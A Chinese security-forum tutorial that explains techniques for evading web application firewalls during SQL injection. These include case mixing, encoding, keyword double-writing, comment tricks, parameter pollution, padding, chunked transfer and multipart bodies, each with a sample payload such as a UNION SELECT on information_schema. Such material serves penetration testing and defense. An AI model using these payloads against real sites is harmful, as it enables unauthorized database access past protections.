安全矩阵

 找回密码
 立即注册
搜索
查看: 2958|回复: 0

干货|WAF绕过思路+知识点

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-3-4 21:33:05 | 显示全部楼层 |阅读模式
原文链接:干货|WAF绕过思路+知识点

关键词大小写绕过
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举列:union select ---> unIOn SeLEcT

编码绕过

针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举列:union select 1,2,3# =union%0aselect 1\u002c2,3%23

双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举列:UNIunionON ,SELselectECT anandd

换行(\N)绕过
举列:select * from admin where username = \N union select 1,user() from admin

注释符内联注释绕过:
/XXX/,#, -- -,--+, ;
union selecte =/!union/ select

同义词替换
and=&&
or=||
=(等于号)=<、>
空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等
注:%0a是换行也可以替代空格

HTTP参污染
对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举列:?id=1&id=2&id=3
垃圾参数WAF在设计的时候都会考虑到性能问题,检测数据包的包长或检测数据流长度,有一个限制。因此在设计WAF的时候可能就有一个默认值,默认多少个字节的流大小,或是多少个数据包。此时可以向HTTP POST添加填充数据,达到一定数目之后,POST中的sql注入恶意代码没有被检测了,达到了bypass的目的。
POST请求:
举列:a=AAAAAA*[很多个A] &id=1 order by X[1-3]
组合绕过将以上所学习的知识点结合在一起,这样能大幅提高绕过WAF的可能性
举列:id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /!information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()– -
分块传输在burp中关闭自动补全,删掉Content-Length: 37,添加Tranfer-Enconding: chunked就代表是分块传输了,下面字符依次类推,注意结束时有两个空行。

如果这样依旧被拦截可以在每分块后面加上;注释,尝试绕过
  1. 2;CESHI
  2. id
  3. 2;CESHI
  4. =1
  5. 5;CESHI
  6. order
  7. 2;CESHI
  8. by
  9. 1;CESHI
  10. 4
复制代码

协议未覆盖
将头部Content-Type改为multipart/form-data; boundary=69 然后设置分割符内的Content-Disposition的name为要传参数的名称。数据部分则放在分割结束符上一行,可以直接使用Burp中的change body encoding来更改数据格式,进行绕过

总结
WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述我所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 19:20 , Processed in 0.012857 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表